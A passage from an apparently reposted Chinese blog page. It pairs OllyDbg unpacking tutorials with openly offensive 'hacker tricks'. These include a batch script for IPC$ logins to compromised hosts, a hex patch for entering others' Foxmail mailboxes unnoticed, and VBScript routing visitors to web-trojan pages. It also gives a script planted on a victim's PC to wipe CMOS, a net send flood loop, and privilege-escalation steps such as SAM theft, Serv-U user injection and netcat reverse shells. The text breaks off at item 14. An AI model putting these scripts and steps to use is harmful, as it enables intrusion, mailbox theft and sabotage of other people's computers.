系统安全之各类脱壳方法与注意事项 双系统注意事项

系统安全之各类脱壳方法与注意事项最近一个月才接触壳这样东西,虽然俺是个新手,不过俺很努力,也会脱很多软件的壳。下面就让我介绍一下俺所知道的各种脱壳方法!先介绍一下脱壳的基本知识吧!常见脱壳知识:1.PUSHAD (压栈) 代表程序的入口点2.POPAD (出栈) 代表程序的出口点,与PUSHAD想对应,一般找到这个OEP就在附近拉!3.OEP:程序的入口点,软件加壳就是隐藏了OEP(或者用了假的OEP),只要我们找到程序真正的OEP,就可以立刻脱壳。开始正式介绍方法啦!!方法一:1.用OD载入,不分析代码!2.单步向下跟踪F8,是向下跳的让它实现3.遇到程序往回跳的(包括循环),我们在下一句代码处按F4(或者右健单击代码,选择断点——运行到所选)4.绿色线条表示跳转没实现,不用理会,红色线条表示跳转已经实现!5.如果刚载入程序,在附近就有一个CALL的,我们就F7跟进去,这样很快就能到程序的OEP6.在跟踪的时候,如果运行到某个CALL程序就运行的,就在这个CALL中F7进入7.一般有很大的跳转,比如 jmp XXXXXX 或者 JE XXXXXX 或者有RETE的一般很快就会到程序的OEP。方法二:ESP定理脱壳(ESP在OD的寄存器中,我们只要在命令行下ESP的硬件访问断点,就会一下来到程序的OEP了!)1.开始就点F8,注意观察OD右上角的寄存器中ESP有没出现。2.在命令行下:dd 0012FFA4(指在当前代码中的ESP地址),按回车!3.选种下断的地址,下硬件访问WORD断点。4.按一下F9运行程序,直接来到了跳转处,按下F8,到达程序OEP,脱壳方法三:内存跟踪:1:用OD打开软件!2:点击选项——调试选项——异常,把里面的忽略全部√上!CTRL+F2重载下程序!3:按ALT+M,DA 打开内存镜象,找到第一个.rsrc.按F2下断点,然后按SHIFT+F9运行到断点,接着再按ALT+M,DA 打开内存镜象,找到.RSRC上面的CODE,按F2下断点!然后按SHIFT+F9,直接到达程序OEP,脱壳!方法四:一步到达OEP(前辈们总结的经验)1.开始按Ctrl+F,输入:popad(只适合少数壳,包括ASPACK壳),然后按下F2,F9运行到此处2.来到大跳转处,点下F8,脱壳之!方法五:1:用OD打开软件!2:点击选项——调试选项——异常,把里面的√全部去掉!CTRL+F2重载下程序!3:一开是程序就是一个跳转,在这里我们按SHIFT+F9,直到程序运行,记下从开始按F9到程序运行的次数!4:CTRL+F2重载程序,按SHIFT+F9(次数为程序运行的次数-1次5:在OD的右下角我们看见有一个SE 句柄,这时我们按CTRL+G,输入SE 句柄前的地址!6:按F2下断点!然后按SHIFT+F9来到断点处!7:去掉断点,按F8慢慢向下走!8:到达程序的OEP,脱壳!系统安全系列之浅谈程序脱壳后的优化写这篇文章的目的是想让大家了解如何利用现有的工具来优化脱壳后的程序。 因为要让脱壳优化过的程序可以用汉化工具正常汉化的话,要求要稍微高一些,我就基于优化后的文件可正常用汉化工具汉化这样的目标来讲解。这篇文章主要是为新手服务的,所以肯定比较罗唆,高手可以略过。这篇文章中我采用 dwing 的 WinUpack 0.39 final 讲述。采用 WinUpack 来讲解的原因主要是这款壳把 PE 头搞得很让人郁闷,修复其它脱壳后的程序不需要修复 PE 文件头,而修复 WinUpack 却要考虑修复 PE 头的问题,而且这个壳加壳后把原程序的各个区段都合并了,修复的步骤要多一些,这样也方便大家了解的更详细一点。我准备分两部分来讲述,第一部分我采用 WinUpack 0.39 final 来给我自己用 MASM 写的一个示例程序加壳,然后来进行脱壳优化,第二部分直接讲解 WinUpack 0.39 final 中的那个中文版 WinUpackC.exe 的脱壳优化。其实本来直接写 WinUpackC.exe 的脱壳优化就可以了,不过我开始的时候没准备写 WinUpack 主程序的脱壳,写到后来才发现用自己写的示例程序加壳后再谈脱壳后的优化,有点自说自话的感觉,所以临时决定加一个 WinUpack 主程序的脱壳优化。一、示例程序的脱壳优化1、脱壳这里的目标程序是我用 MASM 写的一个对话框的简单例子,我采用 WinUpack 的默认选项把原程序 test.exe 加壳,加壳后的程序名为 test1.exe,大小由原来的 6.5K 变为 4.4K。因为 WinUpack 给程序加壳时修改了 PE 头的缘故,普通 OD 可能加载不了用 winUpack 加壳后的程序,所以我们换用看雪兄修改的 OllyICE 载入加壳后的 test1.exe,会出现一个“32 位可执行文件格式错误或未知”的错误对话框,不用管,点确定,又出现一个“无法在内存中分配 XXXXX 字节”的错误对话框,继续点确定,我们停在这里:00401018 > BE B0114000 MOV ESI,test1.004011B00040101D AD LODS DWORD PTR DS:[ESI] ; ESI地址处的值就是OEP0040101E 50 PUSH EAXWinUpack 的壳比较好脱,F8 到上面的第二条指令时,ESI 所显示的值就是存放 OEP 的地址。我这里在信息窗口中看到的是以下内容: DS:[ESI]=[004011B0]=00401000现在我在反汇编窗口中按 CTR+G 直接来到地址 00401000 处,按 F4,就停在 OEP 处了:00401000 6A 00 PUSH 000401002 E8 79010000 CALL test1.00401180 ; JMP 到 kernel32.GetModuleHandleA00401007 A3 1C304000 MOV DWORD PTR DS:[40301C],EAX现在我们用 LordPE 完全转存 test1.exe 的进程,另存为 dumped.exe,现在可以看到这个 dumped.exe 大小有 64K 了。不要关 OD,打开 ImportREC,选择进程 test1.exe,OEP 填入 1000,选“自动查找 IAT”,会有一个“发现一些信息”的对话框,点确定,再点“获取输入表”,现在我们就得到了完整的输入表了。我们先来保存一下树文件,另存为 test_tree.txt。不要关 OD 和 ImportREC,让它们都暂时开在那,先复制一份我们刚才用 LordPE 完全转存出来的 dumped.exe 备份。2、根据对齐值分析区段中的内容在开始之前,我们先了解一下对齐的一些概念:文件区块有两种对齐值,一种是磁盘文件中的,另一种是内存中的。PE文件被映射到内存时,区块总是至少以一个页边界为开始,在x86系统中,每个内存页的大小是4K,也就是0x1000字节,所以在x86系统中,PE文件区块的内存对齐值一般等于0x1000,每个区块按0x1000之倍数内存偏移位置开始。另一种是磁盘对齐值,这个实例磁盘对齐值是0x1000,每个区块按0x1000之倍数的文件偏移位置开始。有时为了使磁盘文件更小些,你可以用0x200对齐值。有了上面的预备知识,我们现在用 LordPE 的 PE 编辑器打开 dumped.exe 来看看。现在我们点击一下区段按钮,看看各个区段中有什么内容。因为上面我们已经看到文件块对齐是 1000H,我们就按 1000H 大小的倍数来在16进制编辑器中选择块,分析数据中是否有区段。先在16进制编辑器中查看一下第一个区段。偏移 2000 是第二个区段开始的地方。有人可能要问你怎么知道这是原来的第二个区段开始处?呵呵,因为我前面看到文件对齐粒度为 1000,所以我在16进制编辑器中主要注意与 1000 的倍数对应的偏移地址。当我翻到偏移地址为 2000 时,在这个地址的上面是由一大片 0 填充的,到这个地址后又开始有数据了,所以我确定偏移 2000 处应该是另一个区段的开始处。如果你在16进制编辑器中看到一大片 0 后突然看见有数据,你再根据文件对齐粒度注意一下数据的开始地址,一般就可以确定是否已到另一个区段了。由16进制窗口中查看到的信息,我们可以确定 WinUpack 把我们原来的区段都合并了,现在我们要把它们分离出来。3、分离区段要说明一下,分离区段和下面的一节修正 PE 头在其他脱壳文件的优化中并不是必须的,这里主要针对 WinUpack 的壳。现在关掉 LordPE,用 WinHEX 打开 dumped.exe,ALT+G,填入偏移 1000,转到相应位置,在偏移 1000 处点右键,选择定义选块,输入相应数据后点确定。在选好的选块上右键选择复制选块->进入新文件,另存为 text.bin。其实这个偏移 1000H,长度 1000H 的段不保存也无所谓,这里主要是让大家熟悉一下保存的方法。同样,我们把起始偏移为 3000H,大小为 1000H 的那个段也另存为 data.bin。有人可能要问了,你为什么不把起始偏移为 2000H,大小为 1000H 的那个区段也保存下来?呵呵,因为我知道这里是原来的放输入表信息的那个段,现在已经被破坏了,我就不要了。同样,偏移 4000H 以后的段我也不保存了,那里是资源段,因为在修正过程中我可能要用另外的 RVA 地址来重建资源,所以不保存了。现在我们在 WinHEX 中再定义一个选块,从偏移 2000H 直到文件尾,选中后删除这个选块。4.修正PE头现在我们还要做一件事,因为 WinUpack 把 PE 头搞得太乱,我们要找个正常的替换一下。这里我选择 XP_SP2 下的记事本,用 WinHEX 打开记事本,从文件开始偏移为 0 的地方选择一个大小为 1000H 的选块,右键选择复制选块->以十六进制数值方式,现在转到我们正在 WinHEX 中编辑的 dumped.exe,定位到文件开始偏移处,右键选择剪贴板数据->写入(从当前位置覆写),把记事本的文件头粘贴过来。完成上述工作后保存 dumped.exe,现在文件大小变成 8K 了,用 PETools 的 PE 编辑器来打开这个文件,进行一些修改。先点击文件头按钮。把区段数由 3 改成 1 后确定,再点击可选头按钮。改一下上面的镜像基址为 00400000,点击确定。这里可以参考原来备份的 dumped.exe 文件来修改(我前面已经说过要备份原来的那个 dumped.exe 文件用作参考,你不会没备份吧?)。5、修正及添加区段现在点击区段按钮,修改一下区段的一些属性。因为前面我们已经把区段改为 1 了,现在打开区段后,只看到一个 .text 区段。在这个区段上右击,选择编辑区段头。因为我们现在的 .text 段是从偏移 1000H 开始的,大小为 1000H,所以我们要把上面的虚拟偏移和 RAW 偏移都改成 1000,虚拟大小和 RAW 大小也要改成 1000。在弹出的对话框上进行设置。完成上述修改后点确定,回到区段编辑器中,现在我们要添加一个大小为 1000H 的段,用来存放输入表。这里可能大家也有疑问:你是知道原来的输入表段大小为 1000H,如果你不知道呢?你知道要添加多大的一个区段?其实我这里添加区段的大小是根据 ImportREC 的新建输入表信息中的大小来的。我们可以在 ImportREC 中看到新建输入表的大小是 18CH,根据区段的对齐粒度 1000H,我这里就选大小为 1000H,已经够用了。这里要留一点余量,有时脱一些壳修复时,余量留的过小则修复的输入表不完全,这时可以从文件中删除这个区段,再按 1000H 的对齐粒度新建一个大一点的区段,重新修复输入表。现在继续我们前面的话题,在区段编辑器中右键点击,选择添加区段菜单项,在弹出的对话框上进行设置。PETools 默认添加区段的名称是 .NewSH,为了便于识别这个段是用于存放输入表信息的,我们把名称选为 idata。其他的 RAW 数据及虚拟数据大小我们都填 1000,选择用 0x00 填充区段,现在点确定,一个新区段就添加进来了。我们可以看出 .idata 段的虚拟偏移是 13000,这肯定不正确,我们应该保证各个段的虚拟地址都是连续的。.text 段的虚拟偏移是 1000H,虚拟大小是 1000H,这样虚拟偏移 + 虚拟大小 = 1000H + 1000H = 2000H,可知下一个区段的虚拟偏移应该是 2000H。同样道理 RAW 偏移也应该是连续的,虽然有时候我们看到有类似这样的:第一个区段:RAW 偏移:400H,RAW 大小:1D0;第二个区段:RAW 偏移:600H,RAW 大小:1B8,这样看起来好像并不连续啊。因为 400 + 1D0 = 5D0,下一个区段应该从 5D0 开始才对。但如果你用16进制工具打开文件看一下就知道了。这种情况是文件粒度按 200H 对齐,区段中的实际数据没有 200,这里显示的只是实际的数据大小,剩下的按 200H 对齐的部分用 0x00 填充了。所以下一个区段还是按文件对齐粒度设置偏移的。同样,文件对齐粒度是其他数值时也存在这种情况。说了这么多,大家应该也明白了,编辑一下 .idata 的区段头,把虚拟偏移 13000 改成 2000。至于后面那个特征值为什么可以改成 C0000040,我就不多说了,在编辑区段的时候点一下特征值后面那个 ... 按钮,上面应该可以看到详细的说明。6、修正输入表现在我们的前期工作暂告一个段落,保存好我们的修改退出 PETools,现在轮到 ImportREC 上场了。你的 ImportREC 应该没关吧?我们把添加一个新的节前面的勾去掉,在新建输入表信息中 RVA 填 00002000(就是我们新建的那个 ,idata 段的偏移地址),点击修复转存文件,选择我们刚才修改的 dumped.exe 进行修复,得到 dumped_.exe。 7、修正资源到这还有两个重要的事别忘了,一个是我们保存的那个数据段(data.bin)要放进程序里来,还有个就是资源还没有。现在我们先把资源弄出来。拿出 dREAMtHEATER 兄的 FixRes,选择我们原来备份的那个 dumped.exe,使用 FixRes 的 Dump 功能,把资源段按我们定义的 RVA Dump 出来。因为前面还有一个数据段 RVA 是 3000,大小是 1000,所以我们把新建资源段的 RVA 设为 4000。按上面那样设置好后我们就可以点击 Dump Resource 按钮来 Dump 资源了,文件被保存为 rsrc.bin。8、装配文件现在进入最后的装配工作了,用 LordPE 的 PE 编辑器打开 dumped_.exe,点击区段按钮,进入区段编辑功能中。现在我们要把磁盘上的 data.bin 和 rsrc.bin 都添加到程序中来,右键选择从磁盘载入段,按顺序添加 data.bin 和 rsrc.bin,添加好后改一下区段名和标志。现在退出区段编辑,点目录按钮,修正一下资源及其他的目录。在这个程序中输入表目录已经不需要我们再改了,我们要改的就是资源目录的 RVA 及大小,把其他没用到的目录 RVA 和 大小清零。我们再用一个 LordPE 的 PE 编辑器打开备份的 dumped.exe 文件来做参考。9、修正可选头及最终优化保存以上工作后关掉 LordPE,我们可以看到 dumped_.exe 的图标已经出来了,说明资源已经修复。现在再用 PETools 的 PE 编辑器打开 dumped_.exe(这里换 PETools 的原因是因为 PETools 编辑 PE 头的功能比较强),点击可选头按钮,进入可选头编辑器。现在主要要修改的就是代码基址和数据基址,代码基址一般就是第一个区段(我们这里是 .text 段)的 RVA,所以这里应该填 1000,数据基址一般指除了代码外的部分开始的 RVA,我们这里代码部分 RVA 是 1000,大小是 1000,加起来就知道除了代码外的数据 RVA 是 2000,就是我们第二个段 .idata 的 RVA。修改完这些内容后最后要纠正一下镜像大小,否则程序还是不能运行。代码大小和已初始化数据大小改不改都无所谓,我是为了好看点把它改了。一般的代码大小就是指 .text 段的大小,.text 段后面所有段的大小加起来就可以作为已初始化数据大小。全部改完后点镜像大小后面的那个“?”按钮,纠正一下镜像大小,现在就可以保存退出 PETools 了。到这基本工作已经完成了,修复后的 dumped_.exe 大小为 20K,运行一下,一切正常。不过这里的 20K 大小还和我们原来的 6.5K 有差距,如果手工修改的话我们可以先把文件对齐的粒度设为 200,再用16进制工具打开程序,把按照 200H 倍数对齐的各个区段的多余的全是 0 的部分删掉,再根据保留下来的部分调整一下区段的 RAW 偏移和大小。当然你可以用 PETools 或 LordPE 的重建功能来重建一下程序,也会完成上述功能。不过我们这里是希望能用汉化工具正常汉化的,所以我们不能用 PETools 或 LordPE 的重建功能来重建程序, 因为它们重建的程序虽然可以正常使用,也比较小,但若用来汉化是很容易出错的。这里还是不要手工来调整了,我们直接用一下 PE Optimizer 这个工具来优化程序一下,这个工具优化出来的程序基本上和手工修改的差不多。优化后我们再看一下大小:20K->6.5K,呵呵,和我们原来的程序一样大。二、 WinUpack 主程序的脱壳及优化如果文章写到这里收工的话,估计会有人说你自己编个程序,再加个壳来谈脱壳后的优化,你完全可以对照原程序来进行啊。OK,那我们就来个没有对照的,冒着被 dwing 狂扁的危险,我就拿 WinUpack 0.39 final 中的那个中文版 WinUpackC.exe 来开刀。不过 dwing 要来了,大家要掩护我逃跑啊,呵呵。WinUpackC.exe 脱壳我就不多说了,OEP 是 0040A4BE,直接在 OD 中 CTR+G 转到地址 0040A4BE,F4 运行到这,就可以用 LordPE 完全转存了。我们还是把转存后的文件保存为 dumped.exe。现在不要关 OD,在 ImportREC 中选择 WinUpackC.exe 的进程,输入 OEP:A4BE,选自动查找 IAT,可以得到正确的输入表,大小是 00000B18。保存一下树文件备用。让 OD 和 ImportREC 都开在那,现在我们用 LordPE 的16进制编辑区段功能来观察一下第一个区段中的内容。具体怎么分析原来区段的起始地址我前面已经说过了,此处只谈结果。经分析可知偏移 1000-AFFF应该是代码段,大小为 A000;B000-DFFF 应该是数据段,E000-FFFF 应该是另一个段;功能我不是很清楚 ,可能原来也用于存放输入表信息的。我就把它和前面的 B000-DFFF 一起当成数据段,这样数据段就大小就是10000 - B000 = 5000;10000-11FFF 应该是资源段;12000-12FFF 包含了部分输入表的信息,应该是加壳后搞出来的。不过这个段对我们毫无作用,不作考虑。现在对我们有用的就是偏移 1000-FFFF 的部分,这里有两个区段。根据 ImportREC 中所显示的输入表大小 00000B18 及前面两个段用到的偏移,我们只要在偏移 10000 处添加一个大小为 1000 的段用来存放输入表信息就可以了。因此资源段我们应该让它从 11000 开始。分析完了就可以开工了,先把 dumped.exe 复制一份留作参考,WinHEX 上场,ALT+G 转到偏移 10000 处,从此处开始选择一个直到文件结尾的块,删除。我们还是借用一下 XP_SP2 记事本的文件头,把记事本偏移 0-FFF,大小为 1000 的内容复制过来,覆盖到 dumped.exe 的对应位置。全部完成后保存 dumped.exe。现在由 PETools 上场,用其 PE 编辑器打开 dumped.exe,先把区段数改为 2,再修正一下镜像基址为 00400000,然后转到区段编辑器,根据我们上面分析的两个区段的偏移及大小调整区段的虚拟偏移、大小;RAW 偏移、大小。完成后再新建一个区段用来保存输入表信息,偏移是 10000,大小为 1000,再修改一下特征值。现在关掉 PETools,我们开始用 ImportREC 来修正输入表。去掉添加一个新的节前面的勾,在新建输入表信息中填入 RVA:00010000,点修复转存文件,选择我们修改过的 dumped.exe 来修复,完成后我们得到 dumped_.exe。到这就要开始把资源加进去了。 FixRes 上,选我们原来备份的那个 dumped.exe,新建 RVA 为 11000,文件对齐为 200,Dump 资源为 rsrc.bin。再让 LordPE 上场吧(有人要说了,这么多工具换来换去你也不嫌累?这个...是比较累,本来是打算自己写一个工具来减小工作量的。不过因为太懒,能将就就将就了)。用 LordPE 打开修正过输入表的那个 dumped_.exe,点区段按钮,在区段编辑窗口中右键选择从磁盘载入段,把我们前面 Dump 的那个 rsrc.bin 添加进来。编辑一下区段。现在关掉区段编辑,点击目录按钮,再用 LordPE 打开备份的 dumped.exe 进行参考,我们来编辑一下 dumped_.exe 的目录,主要是调整一下资源目录的 RVA 和大小,把其他一些没用到的目录 RVA 和 大小清零。完成后退出 LordPE,再用 PETools 打开 dumped_.exe,编辑可选头中的一些内容及调整镜像大小。保存我们所做的工作,退出 PETools,现在 dumped_.exe 文件大小是 72.5K。运行一下 dumped_.exe,呵呵,正常运行了。把 dumped_.exe 复制一份保存为复件 dumped_.exe,用 dumped_.exe 给复件 dumped_.exe 用默认选项加个壳看看, 72.5K->27.3K,原版未脱壳前是 26.6K,看来还是有差距啊。不管了,用 PE Optimizer 来优化一下 dumped_.exe,72.5K->59.5K,收工。WinUpack 加壳时合并了区段,而一些其他的壳给程序加壳时并没有合并区段,也没有破坏 PE 头,这样脱壳后的程序优化起来要简单一点,可以省掉前面的到脱壳后的第一个段中判断区段及修正 PE 头的步骤,只要把有用的段给保存下来,没用的去掉,选好位置重建输入表和资源,再装配起来就可以了。要想优化后的程序可以用汉化工具汉化的话,一般都要把资源放在最后一个区段,否则容易出错。而对应 DLL 这样的文件修复时要考虑重定位和输出表,重定位可以采用 ReloX 来修复,同样可以指定位置重建。输出表可以采用看雪兄的工具 PeMove 来挪移,同样这个工具也可以挪移重定位表。关于 DLL 这类文件的脱壳后优化我就不讲了,基本方法类似。
Tag:安全 脱壳
chapi 发表于21时25分09秒 | 阅读全文 | 评论 0 | 编辑 | 分享 0
2006年11月04日
反其道而行 做保护系统的厚道小黑客反其道而行 做保护系统的厚道小黑客赛迪网  小黑客厚道学:掌握一些黑客知识是非常必要的,不是要攻击别人,而是通过简单的黑客知识掌握网络/系统安全技术,开拓思路,从而更好的保护自己的电脑。也就是所谓的“知己知彼百战不殆”。  1、简化CMD下用IPC$登录肉鸡的操作   用记事本建立一个名为login.bat文件,代码如下:   @net use %1ipc$ %3 /u:"%2"   @echo OK!连接已经建立成功!  使用方法是在CMD下输入:login.bat肉鸡的IP肉鸡的ADMIN组的帐号名/用户的密码。这样我们以后用IPC$登录肉鸡就不用每次都输入一大串的命令了。   2、进入Foxmail账户有妙招   在Foxmail中可以为账户加上访问密码,如果没有密码却想进入别人的信箱该怎么办呢?一个众所周知的办法是:打开Foxmail文件夹下以账户名命名的任意一个文件夹,里边有个名为account.stg的文件,把它复制到你想进入的账户目录里,直接覆盖该目录下原来的account.stg文件。运行Foxmail,点击那个忘记了密码的账户,可以直接进入该信箱!但是上面的方法并不隐蔽,因为对方下次使用信箱时就会发现你破解了他的信箱,这样不够隐蔽。要想进入对方的信箱还不被对方发现,可以使用下面这个办法:用16进制文件编辑器UltraEdit打开Foxamil的主程序foxmail.exe文件,按组合键Alt+F3查找以下的代码:E8617EE4FF7515,单击“确定”开始查找,找到后把其中的7515改为9090,其他代码不用改,然后保存就可以了。执行foxmail.exe,这样可以随意进入设有密码的Foxmail邮箱。该技巧对最新的Foxmail5.0.500.0有效。   3、利用vbs脚本判断对方的IE版本   我们在编制网页木马时,常常需要页面具有自动判别对方IE版本的能力,根据版本的不同,跳转到不同的网页木马页面。之所以这样做,是因为不同版本的IE,其木马网页的制作方法并不相同,比方说针对IE6.0版的网页木马制作方法与其下各个版本就不相同。   打开记事本,输入如下内容:   “〈SCRIPT language=vbscript〉  if Instr(window.navigator.appversion,"MSIE 6.0")>0 then  alert("浏 览 器:Internet Explorer 6.0")  window.location.href="http://IE6.0 网页木马页面"  else  alert("浏 览 器:6.0版本以下")  window.location.href="http://IE6.0以下版网页木马页面"  end if  〈/SCRIPT〉”  这样,使用IE6.0的用户浏览了该页面后,会自动跳转到http://IE6.0网页木马页面,不是IE6.0的用户浏览后会自动跳转到http://IE6.0以下版网页木马页面。   4、肉鸡的ipc$打不开该怎么办   有些朋友反映telnet到对方的机器后却不能打开ipc$,这该怎么办呢?我的做法是首先试试net share命令,看能不能使用,如果不能使用,说明对方没有安装文件和 打印机共享服务,那ipc$一定是无法使用,此时只能放弃了。再输入net share ipc$试试,看看ipc$能不能打开,如果不行就输入net stop server,接下来再输入net start server,这样试试看ipc$能不能打开。如果net stop server不能执行,先把其附属进程关闭,再关server的主进程,一般到此ipc$多半可以连接上了。如果还是不行,那多半是对方有防火墙,这时只能想办法杀掉防火墙的进程了。   5、用vbs脚本结束进程   先声明这一招不是我自己想到的,是从高手ilovewen那里学来的。把下面的内容保存为.vbs脚本,在Windows2000下可以运行成功,代码内容如下:   On Error Resume Next  strComputer="."Set objWMIService = GetObject("winmgmts:" _  && "{impersonationLevel=impersonate}!" && strComputer && "rootcimv2")Set colProcessList  =objWMIService.ExecQuery _  ("Select * from Win32_Process Where Name='*.exe'")For Each objProcess in colProcessList  objProcess.Terminate()Next  其中*.exe是你要结束的进程,将它改为你要结束进程的名即可。   6、利用批处理清除对方的CMOS内容   如果你想清除对方的CMOS内容该怎么办?方法有很多了,利用批处理绝对是很另类的一招吧?请打开记事本,在文件中输入如下内容:   Const ForAppending=8  Dim fso,x,y  Set fso=CreateObject("Scripting.FileSystemObject")  Set x=fso.OpenTextFile("c:autoexec.bat", ForAppending, True)  Set y=fso.CreateTextFile("c:1.txt", True)  x.WriteBlankLines(1)  x.Write"debug  x.WriteBlankLines(1)  y.WriteLine("o 70 10")  y.WriteBlankLines(1)  y.Write("o 71 10")  y.Close  x.Close  把上述内容保存为.bat文件,然后拷贝到对方的电脑上运行即可。它的作用是向Autoexec.bat中加入数据,创建一个文件,并向其中写入内容,在他下次开机时调用debug清除掉CMOS设置,包括CMOS密码。其实,这与大家常用的清除CMOS密码的方法很相象,通常情况下清除CMOS密码的方法是在DOS状态下输入debug,回车之后输入如下命令即可手工清除密码:   -o 70 10  -o 71 01  -q  7、利用批处理轰炸对方电脑   这是从一些高手那里学来的招数,呵呵,真是好方法。具体步骤是,打开记事本,在里面输入如下内容:  @echo 正在轰炸中……  :start  @net send %1 %2  @if errorlevel 1 goto over  goto start  ver  @echo 发送失败  将其保存为任意名字的.bat文件即可。使用用法是:任意名字的.bat+空格+目标IP地址+空格+你要对他说的话。   8、戏弄非法用户   为防止有人胡乱使用自己的电脑,我们可以利用批处理文件来戏弄一下非法用户。方法是用记事本程序在Windows目录中建立一个Winstart.bat文件,并在该文件中加入以下命令:   @echo off  echo non-system disk or disk error  choice/c:&&/n  上面代码中的“&&”为我们设置的密码,您可以自行设置。这样重新启动计算机开机时就会显示“non-system disk or disk error”,接着光标一闪一闪的好像死机了一样,造成非法用户以为Windows死机的假象。有时就连高手也会上当受骗!当我们要进入系统时,只要输入“&&”即可。   9、我的电脑你别用   如果你不想让别人使用你的电脑,又不好意思说,那该怎么办呢?在CMOS中设密码,太小气了吧?他如果问你密码,你好意思不说吗?其实,我们可以用下面这个办法来欺骗一下他的眼睛,使他人以为电脑坏了。   方法是:进入MS-DOS方式或CMD窗口下,输入:copy con null.sys,按一下回车键,然后什么也别输入,再按一次回车键,按Ctrl+Z或按F6键,屏幕上会显示^z,按一下回车键,屏幕上会显示“1 file(s) copied”,这样就一个名为null.sys的空文件就建好了。现在,找到C盘根目录下的config.sys文件,注意这个文件是隐藏属性,所以必须进入“我的电脑”中,点击“查看(v)”→“文件夹选项”→“查看”→“显示所有文件”才能看到它,然后右键单击该文件,在弹出菜单中选择“用记事本打开”,接下来在config.sys文件中加入:device=c:null.sys /d:null这样一行,保存修改结果,退出记事本。以后,你的电脑就会在出现Windows的启动画面时自动重新启动,如此反复下去,别人一定以为你的电脑出问题了,而你就可以偷偷乐了。(e129)黑客系列教程之脱壳的各种方法赛迪网  先介绍一下脱壳的基本知识吧!  常见脱壳知识:  1.PUSHAD (压栈) 代表程序的入口点;  2.POPAD(出栈) 代表程序的出口点,与PUSHAD想对应,一般找到这个OEP就在附近拉;  3.OEP:程序的入口点,软件加壳就是隐藏了OEP(或者用了假的OEP),只要我们找到程序真正的OEP,就可以立刻脱壳。  开始正式介绍方法!!  方法一:  1.用OD载入,不分析代码;  2.单步向下跟踪F8,是向下跳的让它实现;  3.遇到程序往回跳的(包括循环),我们在下一句代码处按F4(或者右健单击代码,选择断点——运行到所选);  4.绿色线条表示跳转没实现,不用理会,红色线条表示跳转已经实现;  5.如果刚载入程序,在附近就有一个CALL的,我们就F7跟进去,这样很快就能到程序的OEP;  6.在跟踪的时候,如果运行到某个CALL程序就运行的,就在这个CALL中F7进入;  7.一般有很大的跳转,比如 jmp XXXXXX 或者 JE XXXXXX 或者有RETE的一般很快就会到程序的OEP。  方法二:  ESP定理脱壳(ESP在OD的寄存器中,我们只要在命令行下ESP的硬件访问断点,就会一下来到程序的OEP了!)  1.开始就点F8,注意观察OD右上角的寄存器中ESP有没出现;  2.在命令行下:dd 0012FFA4(指在当前代码中的ESP地址),按回车;  3.选种下断的地址,下硬件访问WORD断点;  4.按一下F9运行程序,直接来到了跳转处,按下F8,到达程序OEP,脱壳。  方法三:  内存跟踪:  1:用OD打开软件;  2:点击选项——调试选项——异常,把里面的忽略全部√上!CTRL+F2重载下程序;  3:按ALT+M,DA打开内存镜象,找到第一个.rsrc.按F2下断点。然后按SHIFT+F9运行到断点,接着再按ALT+M,DA打开内存镜象,找到.RSRC上面的CODE,按F2下断点。然后按SHIFT+F9,直接到达程序OEP,脱壳!  方法四:  一步到达OEP(前辈们总结的经验)。  1.开始按Ctrl+F,输入:popad(只适合少数壳,包括ASPACK壳),然后按下F2,F9运行到此处;  2.来到大跳转处,点下F8,脱壳之!  方法五:  1:用OD打开软件;  2:点击选项——调试选项——异常,把里面的√全部去掉!CTRL+F2重载下程序;  3:一开是程序就是一个跳转,在这里我们按SHIFT+F9,直到程序运行,记下从开始按F9到程序运行的次数;  4:CTRL+F2重载程序,按SHIFT+F9(次数为程序运行的次数-1次);  5:在OD的右下角我们看见有一个SE 句柄,这时我们按CTRL+G,输入SE 句柄前的地址;  6:按F2下断点,然后按SHIFT+F9来到断点处;  7:去掉断点,按F8慢慢向下走;  8:到达程序的OEP,脱壳!   (t116) 黑客系列教程之21种提升权限的方法赛迪网  以下全部是本人提权时候的总结,很多方法至今没有机会试验也没有成功,但是我是的确看见别人成功过的。本人不才,除了第一种方法自己研究的,其他的都是别人的经验总结。希望对朋友有帮助!  1.radmin连接法  条件是你权限够大,对方连防火墙也没有。封装个radmin上去,运行,开对方端口,然后radmin上去。本人从来没成功过,端口到是给对方打开了。  2.paanywhere  C:Documents and SettingsAll UsersApplication DataSymantecpcAnywhere 这里下他的GIF文件,在本地安装pcanywhere上去。  3.SAM破解  C:WINNTsystem32config 下他的SAM 破解之。  4.SU密码夺取  C:Documents and SettingsAll Users「开始」菜单程序引用:Serv-U,然后本地查看属性,知道路径后,看能否跳转。进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空。   [USER=WekweN|1] Password= HomeDir=c: TimeOut=600 Maintenance=System Access1=C:|RWAMELCDP Access1=d:|RWAMELCDP Access1=f:|RWAMELCDP SKEYValues=  这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限。  5.c:winntsystem32inetsrvdata  引用:就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行。  6.SU溢出提权  这个网上教程N多,不详细讲解了。  7.运行Csript  引用:运行"cscript C:InetpubAdminScriptsadsutil.vbs get w3svc/inprocessisapiapps"来提升权限。  用这个cscript C:InetpubAdminScriptsadsutil.vbs get w3svc/inprocessisapiapps ,查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll,再将asp.dll加入特权一族。asp.dll是放在c:winntsystem32inetsrvasp.dll (不同的机子放的位置不一定一样),我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTsystem32idq.dll" "C:WINNTsystem32inetsrvhttpext.dll" "C:WINNTsystem32inetsrvhttpodbc.dll" "C:WINNTsystem32inetsrvssinc.dll" "C:WINNTsystem32msw3prt.dll""c:winntsystem32inetsrvasp.dll" 。可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了。  8.脚本提权  c:Documents and SettingsAll Users「开始」菜单程序启动"写入bat,vbs。  9.VNC  默认情况下VNC密码存放在HKCUSoftwareORLWinVNC3Password,我们可以用vncx4破解它。vncx4使用很简单,只要在命令行下输入:  c:>vncx4 -W  然后顺序输入上面的每一个十六进制数据,没输完一个回车一次就行了。  10.NC提权  给对方来个NC,但是条件是你要有足够的运行权限,然后把它反弹到自己的电脑上。  11.社会工程学之GUEST提权  很简单,查看他的用户。一般来说看到帐户以后,密码尽量猜。可能用户密码一样,也可能是他QQ号、邮箱号、手机号。尽量看看。  12.IPC空连接  如果对方真比较白痴的话,扫他的IPC,如果运气好还是弱口令。  13.替换服务  这个不用说了吧?个人感觉相当复杂。  14.autorun .inf  